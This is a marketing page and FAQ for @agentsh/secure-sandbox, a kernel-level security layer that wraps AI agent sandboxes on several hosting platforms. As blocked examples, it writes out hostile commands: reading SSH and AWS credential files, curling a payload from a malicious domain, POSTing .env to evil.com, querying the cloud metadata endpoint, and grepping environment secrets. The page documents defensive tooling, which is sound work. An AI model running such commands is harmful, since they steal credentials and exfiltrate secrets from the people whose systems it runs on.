What sandbox platforms does @agentsh/secure-sandbox support?

@agentsh/secure-sandbox supports Vercel Sandbox, E2B Sandbox, Daytona Sandbox, Cloudflare Containers, Blaxel Sandbox, Sprites (Fly.io Firecracker microVMs), Modal (gVisor), Runloop Devboxes, and exe.dev VMs. Each platform has a built-in adapter that wraps the sandbox with kernel-level security enforcement including seccomp, Landlock, FUSE, ptrace, network proxy filtering, and Data Loss Prevention. Modal uses ptrace-based enforcement via the dedicated Modal adapter and modalDefaults() configuration. exe.dev uses hybrid ptrace+seccomp mode via exeDefaults().

How does @agentsh/secure-sandbox protect AI agent sandboxes?

@agentsh/secure-sandbox uses multiple kernel-level enforcement layers: seccomp blocks dangerous syscalls like sudo and privilege escalation, Landlock restricts filesystem access to prevent credential theft from .ssh and .aws directories, FUSE provides a virtual filesystem layer for file operation interception, a network proxy filters outbound connections by domain and port, and DLP detects and redacts secrets in command output. All enforcement is deterministic and operates below the AI model layer.

How do I customize security policies in @agentsh/secure-sandbox?

@agentsh/secure-sandbox provides four preset policies (agentDefault, devSafe, ciStrict, agentSandbox) that can be extended in TypeScript or Python. You can allow specific API domains, open file paths, restrict ports, and configure threat intelligence feeds — all as code. Import a preset and pass override rules for network, file, and command access.

Your AI sandbox has no security layer.
This adds one.

Name: Secure Sandbox
Author: Canyon Road

AI agents run arbitrary code in your sandbox. Without enforcement at the OS level, a single prompt injection can exfiltrate credentials, access cloud metadata, or pivot to internal services.

Drop-in runtime security for Vercel, E2B, Daytona, Cloudflare, Blaxel, Sprites, Modal, Runloop, and exe.dev sandboxes. One npm installpip install, three lines of code.

What it blocks

Every command runs through the policy engine. Dangerous operations are denied before they reach the kernel.

Credential Theft

$ cat ~/.ssh/id_rsa

denied: file policy blocks /home/*/.ssh/**

$ cat ~/.aws/credentials

denied: file policy blocks /home/*/.aws/**

Malicious Domains

$ curl https://afrfrancedns.com/payload.sh

denied: blocked by URLhaus threat feed

$ wget http://login-microsft-verify.com/steal

denied: blocked by Phishing.Database

Supply Chain Attacks

$ npm install colourama

blocked: typosquat detected (did you mean colorama?)

$ npm install [email protected]

blocked: critical vulnerability (CVE-2018-16396)

Data Exfiltration

$ curl -X POST https://evil.com -d @.env

denied: domain not on allowlist + DLP redacted secrets

$ curl http://169.254.169.254/latest/meta-data/

denied: metadata endpoints blocked

Privilege Escalation

$ sudo apt install nmap

denied: seccomp blocks sudo

$ env | grep SECRET

denied: env policy hides sensitive variables

Safe Operations

$ npm install express

ok: registry.npmjs.org is on the allowlist

$ cat /workspace/src/app.ts

ok: workspace files are readable

How it works

Built on agentsh, the open-source execution-layer security engine. A lightweight Go binary replaces /bin/bash inside the sandbox, routing every operation through kernel-level enforcement before it reaches the host.

Enforcement is synchronous and adds <1ms per command. No background daemons, no network round-trips.

Policy as code

Extend any preset with your own rules. Allow specific APIs, open file paths, restrict ports — all as code. See the policy docs →

policy.tspolicy.py

import { agentDefault } from '@agentsh/secure-sandbox/policies';

const policy = agentDefault({
  network: [
    { allow: ['api.stripe.com', 'api.openai.com'], ports: [443] }
  ],
  file: [
    { allow: '/data/**', ops: ['read', 'write'] }
  ],
});

const sandbox = await secureSandbox(adapters.e2b(raw), { policy });
from agentsh_secure_sandbox.policies import agent_default

policy = agent_default(
    network=[
        {"allow": ["api.stripe.com", "api.openai.com"], "ports": [443]}
    ],
    file=[
        {"allow": "/data/**", "ops": ["read", "write"]}
    ],
)

sandbox = await secure_sandbox(e2b(raw), policy=policy)

agentDefault

Production AI agents. Allowlists registries, blocks credential files, restricts dangerous commands.

devSafe

Local development. Permissive network, workspace-focused file access.

ciStrict

CI/CD runners. Workspace-only access, restricted registries and commands.

agentSandbox

Untrusted code. No network, read-only workspace, heavily restricted.

Supported sandbox platforms

Built-in adapters for the major hosted AI sandbox providers. Each adapter maps the platform's SDK to the secure-sandbox interface with zero configuration.

Vercel Sandbox — seccomp, Landlock, network proxy, DLP
E2B Sandbox — seccomp, Landlock, FUSE, network proxy, DLP
Daytona Sandbox — seccomp, Landlock, FUSE, network proxy, DLP
Cloudflare Containers — seccomp, Landlock, network proxy, DLP
Blaxel Sandbox — seccomp, Landlock, FUSE, network proxy, DLP
Sprites (Fly.io) — seccomp, Landlock, FUSE, network proxy, DLP (Firecracker microVMs)
Modal — ptrace syscall interception, network proxy, DLP (gVisor runtime)
Runloop — seccomp, Landlock, FUSE, cgroups, network proxy, DLP (Devboxes)
exe.dev — hybrid ptrace+seccomp, Landlock, FUSE, cgroups, network proxy, DLP (persistent VMs via SSH)

One dependency. Three lines. Kernel-level protection.

Stop hoping your sandbox is safe. Know it is.
